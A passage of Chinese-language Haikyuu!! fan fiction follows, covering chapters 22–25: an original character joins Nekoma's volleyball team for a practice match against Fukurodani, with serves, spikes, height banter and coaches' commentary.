“……”黑尾铁朗落到地面,“让这一球出现在赛场上。” 夏油幸道:“那我只能转校了。” “这是什么,冷笑话吗?”黑尾铁朗额角滑下黑线,“说起来,你怎么一直往他们两个扣球,不朝我扣?” “拦网的墙壁,谁会专挑最高最硬的那一块攻击?” “谢谢你的夸奖。”黑尾铁朗叉腰,“但这是训练,朝我扣。” “好吧。”夏油幸开始了。 …… 夏油幸再次觉得身高确实是个问题。 至少,将球刻意打向黑尾,和避开黑尾扣球,给他的感觉是截然不同的。夏油幸诚实地表达了自己的想法—— “十厘米的身高,差距真是不小啊。” “纳尼——?!”似乎意识到对方的感慨对象包括了自己,山本猛虎冒汗的眼皮掀开,朝夏油幸瞪了过来。 夏油幸握着矿泉水瓶道:“黑尾前辈,你的身高是?” “187.1。”黑尾铁朗露出微笑,“我还会再长的。” “山本是175……”夏油幸道,“12cm啊……” “别擅自把我的小数点抹掉!”山本猛虎眼冒火星,“人家是175.4!而且,我也一定会再长的!” 夏油幸将目光投向福永招平:“福永,你呢?” 福永招平默默抓紧水杯:“177.6。” “10cm啊……” 随着这声喃喃,福永招平眼睛里的光芒似乎暗掉了。 “嘛,不要在意。”在音驹排球部身高比赛中蝉联冠军的黑尾铁朗翘起嘴角,“顺便,我还可以告诉你们其他人的身高——都没我高。” 山本猛虎喷出酸楚的火渣子:“可恶!从明天开始,我一顿要吃三份肉!!” “呵呵呵……年轻人一定会再长的。” 举起水杯挡住来自山本猛虎的碎碎念攻击,黑尾铁朗扭头对夏油幸道:“说起来,你刚才一直在瞄准我的指尖扣球。” 夏油幸点点头。 黑尾道:“今晚我必须得冰敷一下了。不过,你面对拦网一直都是这样吗?总是打指尖。” “指尖……是最便利的地方啊。” “没错。但还有别的办法——等等,你先告诉我你打过多少次比赛?” “一只手数得过来。”夏油幸含着矿泉水,含混不清道,“我国中的排球部,几乎没有能够约练习赛的对象……” 想象了一番,黑尾铁朗顿时露出无言的目光。 “总之,后天的比赛,多观察一下那个人的进攻。我是说,木兔光太郎。” 22.第 22 章 “呕啊……” 当发自喉咙深处的干呕声再度响起在身边,夏油幸不得不把小包从右边挪到身体左面。 “前辈,你没吃饭吗?” 左右手一齐捏紧塑料袋的杉山闻言扭头,将皱成一团的脸转给夏油幸看:“……只吃了三块伊达卷三个水煮蛋三块玉子烧……” “嗯?”夏油幸觉得自己好像听错了。 水煮蛋、伊达卷、玉子烧……“前辈的意思是吃了九份鸡蛋早餐?” 杉山对着塑料袋发出一声虚弱的呻吟:“嗯……” “……”夏油幸默然道,“前辈家里的鸡还好么?” “很好。你怎么知道我家有鸡?”杉山抖了抖空无一物的塑料袋——他干呕半天没出来什么东西,“我爸确实是开养鸡场的。” 一瓶矿泉水从两人座位中间冒了出来。 杉山一愣,伸手接过的同时朝后排看去:“谢了,黑尾。” 黑尾铁朗扶住额头:“……真是的,稍微少吃点儿啊。” “毕竟今天要打一天啊……对体力的消耗可是很大的……”说着,杉山伸手从自己的背包里掏出一块薄荷糖,“我妈还特意准备了亲子丼便当……” 闻言,夏油幸也伸手隔着小包摸了摸自己的便当盒——昨天部活结束时,前辈们特意交代的。 和之前同丸口商打的那场练习赛不同,这次和枭谷的练习赛要打到下午,用教练的话说,就是“物尽其用”。 一年级们也头一次坐上了大巴车,和队伍一块前往枭谷。 部员们排排坐在大巴里,乍一看一派青春和睦,石井教练对此很满意,和直井学在后排低声交谈了起来。 车厢中部,山本猛虎终于憋不住了,开始向前辈询问枭谷的事,三个二年级正选十分乐意地满足了后辈的好奇心。 时间在聊天中飞速跑走,大巴车在枭谷的校门口停了下来。 门口的两道身影十分显眼。 还坐在大巴里的时候,透过车窗就已经能够完全注意到那高耸尖刺的灰白头发,宛如一只猫头鹰一般。下车后就更加醒目了。 猫头鹰旁边还站着一位尖下巴少年,表情相较而言沉稳许多。 “木兔。” “加藤。” 音驹排球部的主将和枭谷排球部的主将板板正正地握了握手。 松开后,木兔光太郎的两只圆眼睛在音驹的十来口人身上移动着,很快,不知道看到了什么,眼睛瞪得更大了。 “Hey——黑尾!” 站在队伍里的黑尾铁朗朝猫头鹰招了招手。 “木兔——” “你们终于来了!”木兔光太郎抱怨道,“你们不知道,我在门口差点儿被风吹成人干了!” “那是因为你刚才绕着学校跑出一身汗,木兔前辈。”一道冷静的声音响起。 这道声音顿时吸引了不少目光,不过声音的主人对此显然不怎么在意,只是表情淡淡地看着自己部里的前辈。 “Akaashi——!”木兔光太郎挠挠头,“啊,差点忘记介绍了。那个,这是我们排球部新入队的一年级,我的后辈,也是我的二传手!” 身旁人接话道:“我是赤苇京治,请多指教。” 加藤点点头,也把队里的几个一年级介绍了一遍。 不过,从木兔光太郎的表情来看,他或许连一个也没记住。 夏油幸跟着大部队,一起迈进枭谷的校园。 枭谷的校园非常开阔,建筑物错落有致,带着庄重工整之感,打眼一看像是和风与西洋风的结合。而路过一幢修建得高阔气派的豪华大楼时,一年级们情不自禁地都朝那处投去目光。 “这是我们的图书馆。”赤苇京治察觉到,主动解说。 “图书馆?”山本猛虎情不自禁地感慨出声,“这就是传说中枭谷的图书馆吗……” 听到关键词,夏油幸有些疑惑地道:“‘传说中’?” “枭谷的图书馆十分有名。”走在前面的海信行扭头回答后辈。 尤其对同在东京、与之保持着良好竞争关系的音驹排球部而言,几乎是大家都听说过的程度——当然不包括夏油幸。 对这位远道而来的后辈,cityboy们已经逐渐建立起“这家伙对东京没什么常识”的基本认知,怀抱着孵蛋的耐心——如果有谁能做到的话,总之会好好解答疑惑的。 不过,山本猛虎表达出来的激动之情明显超过了夏油幸。夏油幸觉得前者的激情大概完全出自对枭谷排球部水平的崇拜,而不是随便对着一所华丽的私立学校就能够眼冒爱心……应该不会吧? 夏油幸一心儿用。眼前漫过枭谷学园的风景,同时留出一分注意,在前方那道醒目的身影身上。 周内,黑尾前辈特意叮嘱的、让他观测和学习的对象——枭谷的王牌主攻手,木兔光太郎。 夏油幸不喜欢做刻板印象的事。不过说到强校体育部的王牌攻手,大概很多颗脑子里会一齐冒出一道高大伟岸的背影,严肃而沉静的面部,抿紧的嘴角,就像那句流行话,怎么说来着…… ——想赢的人,脸上是没有笑容的。 木兔光太郎脸上洋溢着笑容,嘴角没有放下来过。 “他就是那个‘木兔’吗……”山本猛虎的感慨在耳边响起。 一幢穹顶高耸的建筑出现在眼前,属于赤苇京治的淡淡声音响起:“到了。” 枭谷的体育馆,十分敞亮开阔、通透舒展。夏油幸吸了吸鼻子,似乎还能闻到一股似有若无的味道……擦了地板养护剂? “是金钱的味道。”山本猛虎一脸严肃地从他身边迈过。 “……”夏油幸跟上一年级小分队。 枭谷的暗路教练正在场边等待音驹。石井教练快步上前握手,连同直井学在内,三人很快地交流起来。 杉山拉着原田凑到一年级身边。 “音驹这么多年和枭谷打过无数次比赛了,不论是正式比赛还是练习赛,我们的合宿也是加入了枭谷联盟,”杉山眨眨眼睛,“两队相熟的人不少,作为新人不要怕生,也勇敢地去和枭谷的一年级认识认识吧~!” “咦。”夏油幸扭头看着杉山,疑惑道,“前辈,你没事了吗?” “一下车就没事啦,哈哈哈——”杉山大笑,“我的身体可是非常健康的啊。” 这就是鸡蛋的力量吗?夏油幸点了点头。 就在这时,旁边忽然传来一声叫喊。 “杉山——” 循声望去,只见枭谷队内,一个浅金褐色头发的少年正朝杉山挥手。 杉山顿时也热情回应:“木叶——” 名为木叶的少年干脆朝音驹这里走了过来。站定后,又和原田 互相打了个招呼。 “嘛,这就是你们今年的新生吧?”木叶秋纪看着对面四张陌生的面孔,笑道。 “嗯嗯。”杉山很快将四个一年级向木叶秋纪介绍了一遍。 “总之,都是很厉害的后辈就是了。”杉山摇摇头,“唉,原本我还想着等三年级的前辈走后,能够做一做音驹的正选呢。” “直接就这么认输了,你也太快了吧。”木叶秋纪拨了拨刘海,眼睛转了转,“这么说,这几个新生难道会在一年级就做正选吗?” “比如我们新来的主攻手。”杉山朝左一伸胳膊,搭上夏油幸的肩膀,“说不定正式比赛再见,他已经站在场上了。” “诶——”木叶秋纪拉长尾音,目光落在夏油幸身上,一顿,“那么,你们队被换下来的是谁?” “这个嘛……”杉山顿时卡壳了,“这个,当然看教练怎么安排了。” “后辈真是不容小觑啊。”木叶秋纪将目光重新投到杉山身上,“说起来,我们队里也来了很不错的后辈。” “是那个吧,很显眼啊。” “是啊,总是站在王牌身边。” 寒暄没有持续很久,一年级也没来得及如杉山所督促的那样多和陌生人聊天,很快,热身开始了。 几轮自由热身后,加藤站在网前托球,音驹成员们排成一列,开始挨个扣球。 排球一颗颗扣落到对面,音驹很快练习完一轮,没有出现什么失误,整体看来十分稳定。 就在音驹这边井然有序时,忽然“砰”的一声,一颗高速旋转的排球带着风,从对面右侧网口上方冲出,沿着凌厉的斜线直贯后场,重重砸下,恰好压在底线前落地。 音驹的队伍安静了一瞬。 “……”加藤朝枭谷场地上,正振臂欢呼的木兔光太郎深深地看了一眼,收回视线,“我们继续练我们的。” 音驹的队伍继续运行起来。 “哎呀,心理素质很不错嘛。”场边,暗路教练将一切尽收眼底。 “哈哈,这也算是我们的强项了。”石井教练笑道,“木兔今天的状态看起来十分不错啊。” 闻言,暗路教练忽然露出一个意味不明的笑容。 石井教练没有追问,对方显然打算保密,不过暗暗地,他对枭谷的热身观察得更仔细了。 如果他没有猜错,枭谷打算在原本就突出的基础上更进一步,那么带来变化的,很可能是那个场上他不认识的新成员,枭谷的一年级二传手。 但是话说回来,状态是自己的事情。再来无数个二传手,木兔选手还是那个木兔选手吧? 石井教练有一搭没一搭地和对手学校的教练以及好友聊天,期间不忘留意着自家队伍的状态。 沉稳有余,劲头不足。 就连最开始十分富有激情的山本,也因为首次练习赛场上不可避免的新手失误,而沉闷了许久。 就在这时,场边响起一阵脚步声,接着是什么东西放到地上的动静。 夏油幸注意到了,但没打算扭头看。 直到一只炙热的手掌重重地搭在他的右肩。 他身后的人,应该是…… “山本?” “枭谷……” “嗯?” “枭谷居然,有两……两个……两个经理……啊!!” “……哈?” 23.第 23 章 俗话说,越想要啥,越没有啥。 山本猛虎就是这万千倒霉蛋中的一个。 在他甚至不是一颗受精卵的时候,《棒球○豪》这部青春运动题材的漫画便以龙卷风之势席卷日本各大榜单,动画化后更是掀起全民棒球热潮。 除了棒球以外,最受瞩目的当然是——那段狗血的三人恋。 上杉兄弟,和……浅仓南。 不过,由于在这个憧憬已久的音驹排球部,他还未找到自己真正的兄弟,也就是说,没有可以聊这种事的人,山本猛虎便从未提及他那热切的希望。 ……一个像浅仓南那样的美女经理。 而枭谷,有两个。 夏油幸无法忽视那道炽热的目光,只好扭头回看。 山本猛虎的嘴唇微微地动了动:“你,对我们没有美女经理的事怎么看……” 话一出口,山本猛虎便分外后悔。 ——他不应该和这个家伙聊这种话题! 但、但是…… 怀揣着不知道哪里来的一丝希望,山本猛虎直视着夏油幸。 面前的人沉默半晌,发自异瞳的视线在他脸上转了两圈,忽然露出一种注视着从三角饭团上拆下来的塑料外包装的表情。 山本猛虎:“……” ——果然他就不该和这家伙聊这个啊!! 在局部的奇怪气氛中,夏油幸完成扣球,和队伍一起进行下一项热身。 今天的练习赛要打几乎一整个白天,两队都进行着充分的热身。与音驹这边几乎举部迁移一样,此刻馆内,枭谷排球部的成员也有十几名。 枭谷的体育馆足够大,两校的A、B队同时开打也绰绰有余。 加藤带领着正选的队员,站到最靠前的地方。 马上就要上场了,音驹这十几个人会分成两队,对应着枭谷的正选与非正选队伍,各自进行比赛。 加藤、铃木、山田、西村。 二年级的黑尾、海和夜久。 他们这支队伍,已经和枭谷的正选队伍交手过很多次了。 虽然大多都是败局,不过要说因此就有多么紧张的话,加藤是不会有这种心情的。 他身后的队伍不断传来交谈的嗡嗡声,加藤没兴趣细听,掂了掂掌中排球。 没过多久,石井教练结束聊天,和新来的直井教练一起走到音驹的场边。 加藤将排球握在掌心,抬头看向教练。 石井教练对自家部长道:“发球权是对面的。” 加藤点点头。 他做好上场的准备了,枭谷正选的A队也已经站到网前。 石井教练却没有催促他们马上上场。 然后,事情就变成了这样。 黑尾铁朗站在3号位,用余光不动声色地观察着此刻站在他右边的后辈。 后辈看上去状态不错。 指尖伸进护膝内侧,食指和拇指捏住边缘,有条不紊地捋了一圈。调整好护膝后,夏油幸直起身体,捏了捏手指。 “……” 黑尾铁朗收回目光。 就在刚才,石井教练把后辈安排到了A队。有上就有下,相应的,原本正选的主攻手铃木去了B队。 音驹的B队,第一场练习赛的对象是枭谷的替补队员。 场地上,似乎弥漫起淡淡的尴尬。 “……夏油的优势之一就是心态。” 场边,石井教练两只手肘抵在膝盖上。 “……”直井学露出奇妙的表情,“说真的,你到底怎么想的?” 石井教练望着场上的阵容,喃喃道:“你说,关东大会预选的第一场,首发名单要不要排成……” 直井学把一肚子话咽下去,道:“根据你这几天给我的信息,这支阵容是第一次配合打练习赛吧?” “……” 两人的目光一齐投到赛场上。 站在枭谷1号位的,是二年级的主攻手——猿杙大和。 夏油幸对枭谷全部队员的熟悉程度是0,不过其他人,尤其夜久卫辅,显然与他完全相反。 猿杙大和并不算能够进行非常强力发球的选手,尤其与他们队内的木兔光太郎相比,不过并不差。 即使对方的发球朝自己所在的区域直奔而来,西村也没有慌乱,他继续朝适宜的二传位置移动着,等待排球传到自己手中。 毕竟后排有着音驹的守护神,夜久卫辅。 排球自夜久卫辅双臂弹出,西村举球。熟悉的高度、离网距离、节奏……经千百次配合而磨出,加藤跃起扣下! 加藤面对的拦网球员,是他的老熟人——目前枭谷队内唯一一个三年级生,黑木。 “砰!” 隔着球网,加藤对黑木露出一个挑衅的笑容,对方回以白眼。 音驹:枭谷=1:0。 面对全国级别的队伍,开局便干脆利落地拿下一分,音驹A队的气势顿时提升。 “王牌!” 西村笑着和加藤击掌。 音驹拿下第一分,需要轮转一次。夏油幸在前排还没有站热脚底,便转到了后排,站上需要发球的1号位。 “嗯……二传手把球传给王牌了啊。”场边,直井学摸着下巴道。 “二传手是西村,王牌兼部长的是加藤,”石井教练道,“快点记住名字吧。” “没办法,你的队伍这么多人,名字这种东西可是很难记的啊!” “也是你的队伍。” “二传手没有把球给夏油啊。” “咦?你记得住名字?刚才是在耍我吗?” “拜托,因为这个姓氏实在是太罕见了。”直井学摆摆手,“说正题。我还记得上周在丸口商的那场练习赛,夏油这样的攻手在前排的最后时刻,二传还是‘舍近求远’了啊。” 石井教练沉吟:“唔……毕竟是‘王牌’嘛。而且,成功了。” 直井学干脆翘起二郎腿:“你这支队伍的完成度好像不是很高嘛。” “说了也是你的队伍。” 夏油幸抱着排球朝底线后面走去。 枭谷那面,木兔光太郎睁圆眼睛,注视着那道身影逐渐缩小、远去……“啊。” 木兔光太郎忍不住问自己的后辈二传:“那个,赤苇……” “你没有看错,前辈。”仿佛对木兔的大脑了如指掌般,赤苇京治平静地点点头。 “果然如此么……”木兔光太郎的眉头抖了抖,想到了一个他新学的词语,“东京真是卧虎藏龙 啊……” 赤苇京治疑惑地朝木兔光太郎歪歪头:“前辈?” 木兔光太郎面色忽然一肃:“那个人,他一定很强。” “……嗯?” 赤苇京治承认,自己不可能每时每刻都跟得上木兔前辈这跳脱的思维。 “那个家伙……”木兔光太郎陷入沉思,“我还是第一次见到在赛场上戴美瞳的人……他这么花里胡哨,一定是有强大的实力在支撑着啊……!” “……木兔前辈。” 赤苇京治额头挂上一滴汗。 “夏油君并没有佩戴美瞳或是隐形眼镜之类的东西,我从他眼睛里没有看到这种存在。而且再怎么爱美,特意戴着不同颜色的美瞳来打练习赛,未免也太夸张了!” “赤苇——我偷偷告诉你一件事哦,这个复杂的世界上,也是会有这种家伙存在的……” “前辈……总之,是天生的。” “天生的吗……soga,赤苇你是怎么知道的?诶,诶诶——等一下,akaashi,连名字都——” “白痴啊!”仅仅一网之隔的黑尾铁朗耳朵都要爆炸了,“在校门口就已经介绍过了,木兔你这家伙!” “诶,原来只有我没有注意到!” 黑尾铁朗挑眉:“你这家伙除了排球还能注意到什么?” “当然是——” 木兔光太郎的话卡在开头。 熟悉的排球出现在视野上方。 目光捕捉到的一瞬,脚下便已经条件反射地开始移动。 但是—— “砰——!” 小见春树扑到地板上。 ——ace。 是ace。 木叶秋纪伸手把自家自由人从地上拉起来。 “……”小见春树一脸恍惚,“我们刚才……是被ace了吗?” “……”木叶秋纪道,“杉山跟我介绍的时候,我就应该觉得不对劲的啊。” 赤苇京治的目光穿过球网,投向对面,音驹场地的后方。 名为夏油的异瞳少年已经回到了自己的位置,看上去没什么表情,比如因为发球直接得分的兴奋。 这并不是巧合。 刚才虽然在聊天,但他和木兔前辈并没有忘记这是在赛场上,也不会对手正在准备发球。 ……音驹的新人。 赤苇京治垂下眼,目光却情不自禁地滑向身侧。 “……” 赤苇京治愣住了。 “……前辈……” 被呼唤的王牌缓缓地扭头。 那双金褐色的、时而冒傻气的眼睛,此刻,仿佛燃烧着某种火焰。 这种陌生而又熟悉的东西,是斗志……不,更准确来说,是「兴趣」。 “你看到了吗,赤苇。”木兔光太郎的语气里带着古怪的、由平静与兴奋这两种对立情绪混合而成的东西,“强势的、很快的大力跳发——‘咻’地一下,眨眼也没有,已经到我身后了,小见也没接到。” “……前辈。” “东京真是卧虎藏龙啊。”木兔光太郎将新学的词语又重复了一遍,“赤苇,下一球,托给我吧。” 赤苇京治注视对方片刻,道:“是,前辈。” 24.第 24 章 第二球也是ace。 小见春树揉了揉发麻的手臂。 盯着自己泛红的皮肤,小见春树还没从己方开局被音驹用发球拿下两分的惊讶中缓过来,面前的身影已经扭过头,兴冲冲地询问了起来。 小见春树:“……” 小见春树:“……无论如何,你都有点开心过头了吧。我的手臂可是从刚才开始,一直在疼啊。” “啊,辛苦了。”木兔光太郎挠挠头,毫无抱歉之色地道,“告诉我吧,拜托了。” 小见春树叹了口气。 “……总之,他难道没得过‘最佳主攻手’之类的称号吗?” 木兔光太郎立马扭头,向球网对面的黑尾铁朗求证。 黑尾铁朗没有回答,只是露出老神在在的表情。 木兔光太郎把头扭回去:“和桐生比起来怎么样?” “九州的桐生”——全国三大主攻手之一。 “总之,都很重,很难接就是了。” 那就是差不多了? 木兔光太郎瞪大眼睛,再次把头扭向音驹那边:“东京什么时候有这号人,我怎么从来没听过?” 这样的疑惑不只属于木兔光太郎,枭谷排球部总教练暗路建行也同样暗暗地困惑着。 暗路教练朝音驹的替补席发出询问:“你们这位新人主攻手是哪所国中毕业的?” 熟读部员资料的石井教练朝暗路教练微微一笑:“小豆中学。” ……小豆中学? 暗路教练结结实实地愣住了。 虽然说他是在高中排球部做总教练,可是对国中排球选手的情况也是有一些了解的。 毕竟物色国中的好嫩苗,向合适的选手抵出体育推荐的邀请这种事,总会在他手里过一遍的。 但,小豆中学…… 暗路教练忍不住再次发问:“东京还有这所学校?你们音驹特招的?” 真是慧眼识珠啊。 石井教练嘴角情不自禁地翘了翘:“东北的一所乡下国中,自己考进来的。” 原来是野生的啊。 暗路教练点点头,揶揄道:“你这家伙运气不错嘛。唉,今年是不能小瞧你们了。” “瞧你说的,我们之前也很不错。” 石井教练不甘示弱。 夏油幸发了第三球。 和之前一样,每当夏油幸在陌生的球队面前进行大力跳发的时候,一个话题便会如影随形地展开。 ——这个人的动作,为什么看起来如此流畅轻巧。注视着那一幕,几乎意识不到力量感之类的东西……撞到手臂上却宛如重炮一般。 小见春树赌上了自由人的名誉。 因为,音驹的那个家伙……一直在朝他这里发球啊! 瞄准自由人的方向,连续三个大力跳发,落点都是他这里。 对手是什么想法,他已经完全明了了。 自由人作为全队接球水平最高的选手,面对强势发球,顺利接起、进行完美的一传,不但是比赛开篇的礼炮,更给队伍打了一针强心剂。 相对的,如果接不起来,甚至连续被对方直接发球得分的话…… “嘭!” 双臂被砸得向下一沉,一传歪向场边。 “赤苇!!”小见春树大喊。 吼声余音尚在,赤苇京治已经冲了出去。 夏油幸的跳发破坏力极大,枭谷没有组织快攻的可能。 黑尾铁朗的目光紧紧盯住木兔光太郎。 「下一球,托给我吧。」 来自王牌的呼唤。 赤苇京治举起双手。 在球队不利的时候,力挽狂澜、提升士气,能够托付的对象,是王牌。 “啪。” 赤苇京治面无表情地将小球高高地送向左翼。 早就期盼这一球的木兔光太郎三步助跑,高高跃起。 属于黑尾的熟悉的大手惯例地在眼前张开。 “真是难缠啊。” 与这句话相反的,木兔光太郎的眼瞳奇亮无比。 状态很好。 身体很轻盈。 眼前严密的拦网看得也无比清楚。 滞留在空中的时间只有一瞬,木兔光太郎手腕一压,排球斜斜地朝右侧飞去。 “砰!” “——Hey!Hey!Hey!” 排球落地的声音和木兔光太郎的欢呼声一齐响起。 “超级锐角小斜线——看到了吗,看到了吗?看到了吗!!” “看到了。看到了。看到了。”赤苇京治一局不落地回应道。 平淡的脸上浮出一丝笑意,赤苇京治宛如幼儿园保育员给转圈跳舞的小朋友鼓掌一般拍了拍手掌:“木兔前辈真的很厉害。” 木兔光太郎叉腰,哈哈大笑。 “木兔你这家伙今天状态不错嘛。”黑尾铁朗忍不住摇摇头,“还以为你会被我们后辈的ace打蔫呢。” “哈哈——” 来自对手的肯定让木兔光太郎飘飘然。 不光是黑尾铁朗,网前其他两人——音驹的王牌兼部长加藤,以及防守水平非常突出的主攻手海信行,两人都正用一种同时混合着“意想不到”“惊讶不已”“果然如此”“不愧是他”的复杂目光注视着他。 他人的注目,对木兔而言是动力,是燃料。 黑尾铁朗将这一幕尽收眼底。 如果放到正式比赛,他大概是不会这么直截了当地夸木兔的。 不过现在嘛……尤其今天的练习赛,是以让后辈们得到充分的锻炼为目的的。 让后辈好好感受感受强校王牌的难缠,也是成长的方式之一啊。 身后传来轻微的脚步声,余光捕捉到夏油幸回到1号位上,黑尾铁朗扭头,笑道:“发球不错嘛。” 夏油幸点点头,毫不扭捏地接受了来自前辈的夸奖。 黑尾铁朗继续道:“心理战术也很不错。” 心理战术? 夏油幸微微一愣,道:“什么心理战术?” “瞄准对方的自由人连续强力跳发ace,如果对面不是枭谷,换成一般的球队怕是已经压力山大了。” “这个啊。”夏油幸很诚实地道,“并不是出于施加压力的目的,我只是想弄清楚对面自由人的水准。” “你的回答真是让我毫不意外。”黑尾铁朗点 点头,“结果怎么样?” “还不错。”夏油幸顿了顿,补充道,“当然,比不上夜久前辈。” 自场地左下角传来夜久卫辅得意的笑声。 呵呵呵~被平常不怎么爱说话的后辈肯定实力的感觉很不错啊~~ “哎呀,你和夜久的接发训练真是有成效啊。” 枭谷要发球了。 目前A队这边场地的比分是3:1,音驹领先两分。 枭谷刚才依靠王牌主攻手木兔光太郎从音驹手中拿到1分,需要轮换一次,原本位于2号位的三年级副攻手黑木站到了1号位,轮到他进行发球。 自由人小见春树站到了场边。 换上枭谷4号位的副攻手倒是让夏油幸有些注目。 高大而结实的身体,耸立的粗硬黑发。夏油幸用目光卡着黑尾铁朗和枭谷这位背号为2的副攻手的头顶对比了下,惊奇地发现这位副攻手甚至比他们队内最高的黑尾还要高上那么一点点。 “咦。” “怎么了?” 前排的黑尾前辈贴心地送上询问。 “枭谷的队员,好高……” “砰!” 话语从齿间溢出的同时,夏油幸叠成平面的小臂迎上下落的排球。 夏油幸的发球和扣球十分突出,尤其在力道和速度方面。相比较而言,一传技术就显得不怎么起眼了,不过目前也没有暴露什么大问题。 排球被平平稳稳地送向左侧,二传手西村所在的位置。 前排三点攻,后排右侧还有夏油幸可以做后排进攻。 枭谷的前排队员一时无法判断西村究竟会将球托给谁,于是目光紧紧地跟随着西村高举的双手。 后排进攻、王牌、快攻…… “砰!” 排球被左翼的海信行飞快扣下。 “哎。”猿杙大和张了张嘴唇。 这倒是个意料之外又意料之中的结果。 有其他三人在,海信行的存在感被降低了,反而成了进攻的最佳选择。 果然还是要毫不遗漏地注意场上的一切啊! 木兔光太郎忽然叹了一口气。 猿杙大和差点儿以为对方在跟自己二重唱。 但接下来,木兔光太郎没有别的反应。 而且从周身气势判断,这个家伙目前还是处于某种非常积极的状态。 场上,枭谷众人一边留心着自家王牌的动静,一边暗暗松了口气。 趁死球时,枭谷交换副攻手和自由人的间隙,黑尾铁朗继续了和后辈刚才的话题。 “枭谷的身高确实不错。我印象中去年三年级还不少的时候,除去自由人,他们队内的平均身高能到183。” 夏油幸点点头。 “他们新来的二传手身高也不错。” 球网对面,赤苇京治似乎听到了音驹这边的谈话,朝夏油幸微微一笑,道:“入部的时候新鲜测量过,我是181,6cm。” 交谈之间,一来二去,场上气氛十分不错。 场边,石井教练忍不住点点头:“每次和枭谷打练习赛都有所收获。” 接下来,轮到黑尾铁朗发球了。 25.第 25 章 夏油幸加入排球部也有两周了,说长不长,说短不短,周内几乎都是在排球部的基础训练中度过的。 排球部的基础训练包含很多项,而黑尾前辈每日必练的项目之一,就是跳发。 排球自身后飞向对面,夏油幸盯着对面二传的动作,做好一传的准备。 由于这一轮,黑尾轮转到1号位负责发球,前排4号位由跃跃欲试的山田上场,而音驹的守护神暂时站到了场边。 黑尾铁朗的跳发被枭谷后排的主攻手猿杙大和接起,猿杙大和一传向赤苇京治,后者将球托给眼睛发亮的王牌。 “Hey——!” 木兔光太郎的扣球击穿了音驹的拦网。 音驹:枭谷=3:3。 音驹之前领先的比分被追平,枭谷替补席上,暗路教练点点头,露出笑容。 音驹这边,石井教练面上却是一派平静之色,甚至有闲心和好友玩笑。 “变化真是太快了。之前,队内防守全面占优,刚才一看场上,又觉得像一支进攻型队伍了。” “自由人上去了。”直井学看着夜久卫辅和黑尾铁朗的交换过程,“而且,这不就是你想要的吗?” “是啊。”石井教练叹了口气,“所以,我才在这一场把原田调去B队。” B队…… 直井学的目光从A队的场地朝右边移去。 不看不知道,一看吓一跳。 “喂,喂喂——你快看那里。” 顺着好友的视线,石井教练看向旁边的B队场地。 石井教练只来得及看到末尾。 由一年级新人二传手孤爪研磨进行的二次进攻,和一年级主攻手山本猛虎落下的身影。 场边比分来到了5:1。 音驹领先4分。 石井教练:“……” 直井学用胳膊肘捣了捣石井教练。 “你刚刚看到没有,那个一年级的二传手用莫西干头做了诱饵,自己来了二次进攻。” 沉默一瞬,石井教练忽然抱住脑袋。 “你怎么了?”直井学惊讶地道。 石井教练松开脑袋,抬起头望着直井学:“我从没有像现在这一刻,觉得我们排球部人才济济过。” 从正选,到替补,到新人,都是如此。 “应该高兴才对。”直井学道,“这说明能用的人很多。只是需要安排而已。” “不要把关键的地方轻飘飘地带过啊。”石井教练苦笑。 枭谷的场上,来到了进攻最强的轮次。 前排三人—— 木叶秋纪、鹫尾辰生、木兔光太郎。 站在夏油幸身边的夜久卫辅打算贴心地跟后辈简单明了地介绍一下枭谷的前排攻手。 “你对枭谷的印象怎么样?”夜久卫辅眨眨眼睛。 “王牌很厉害。”夏油幸道。 到目前为止,夏油幸打过所有比赛加起来,一只手也数得过来。 给他印象最深的,自然是国中毕业那场,小豆中学和岩手县内名门长光中学的比赛。 长光排球部以均衡全面闻名,而队内王牌主攻手依然拥有着非常突出的攻力。当时,夏油幸需要不断地接对方的扣球,算是在新手村的小鸡堆混了一年就直接和初始地图的BOSS打,总之是十分难忘的一场比赛。 不过,和对面这位相比,木兔光太郎的进攻有过之而无不及。 “东京真是卧虎藏龙啊。”夏油幸忽然对夜久卫辅笑道。 “咦?”夜久卫辅一呆。 这话他好像在哪听过来着……似乎就在刚才? ——算了,不管了。 夜久卫辅将这未解之谜干脆利落地抛到脑后。 “很多人都会发出这样的感慨,尤其是第一次见到木兔扣球的人。”夜久卫辅道,“不过,如果因此就觉得枭谷是一支完全依托木兔光太郎而建立起来的球队,会吃亏的。” 夜久卫辅最终还是没来得及将三个主攻手挨个和后辈介绍一遍。 枭谷新来的二传手沉稳非常,发球也很沉稳。 水准超常的夜久卫辅给出完美的一传,西村这次选择了新上场的山田,两人进行了娴熟的快攻配合,但不幸地被对方中间的严肃脸高个子用脚踢起,变成了长回合。 “我们的快攻没有问题。”直井学忍不住道,“枭谷的队员可真厉害啊,反应居然这么快。” “那是鹫尾辰生。”石井教练道,“我之前看枭谷的比赛,他的打点很高,给我留下的印象还蛮深的。” “他个子也很高嘛。” “和黑尾差不多吧。”石井教练道,“枭谷正选队员基本都上180了,除过那个黄头发的。我们这边身高是稍微差了点儿,不过幸好对面没有190的球员。” “我原本是想让新人好好感受一下阴晴不定的场上局势。”石井教练接着道,“但是,木兔今天的状态看起来很稳定。” “——音驹没有黑尾了。” 木兔光太郎在心里道。 如果说音驹那边有谁的拦网是他的心腹大患的话,那一定是黑尾铁朗。 而现在—— 木兔光太郎贡献了惊人的进攻。 面对鹫尾辰生仓促踢起的球,木兔光太郎两步起跳。 这一套动作太快,让人猝不及防,就连木兔光太郎自己都没有想到他能够这么流畅地扣出这颗球,明明非常不到位,打点也很低…… 并非吊球,而是从下部往斜上方一拍。 但就这么从加藤跃起的双臂之间穿过去了。 夜久卫辅瞪大眼睛,连忙朝球的落点冲过去。 但这颗球太快太低,下手接球来不及,上手更是别提。还没等夜久扑到地面用手背救,球已经落地了。 夜久卫辅:“……” “靠啊。” 站在前排的加藤低头盯着自己的手掌,忍不住开始怀疑人生。 虽然说他对拦网没那么擅长,比不过同队后辈黑尾铁朗与海信行,但,还没到这个地步吧? 场边,黑尾铁朗忍不住吸了口气。 木兔这家伙……在进步这方面真是没有终点啊。 枭谷场内,木兔的队员们以各异的表情注视着自家王牌。 或开心,或震惊,或温和,或面瘫。总之,大家的目光汇集到木兔光太郎身上,共同传递出 了三个大字—— 「你、好、棒」! 我…… ……我好棒。 木兔光太郎忽然觉得脚下一轻,马上就要飞起来一般。 我好棒啊。 木兔光太郎举起双臂。 “Hey——Hey——Hey——!!” 这一幕落入黑尾铁朗眼里,看得他忍不住直摇头。 算了,木兔今天的好状态,对自己这边也有好处。 原本就是锻炼的目的,只是,希望后辈别被打击到了。 夏油幸没有被打击到。 他上前两步,将夜久卫辅从地板上拉起来。 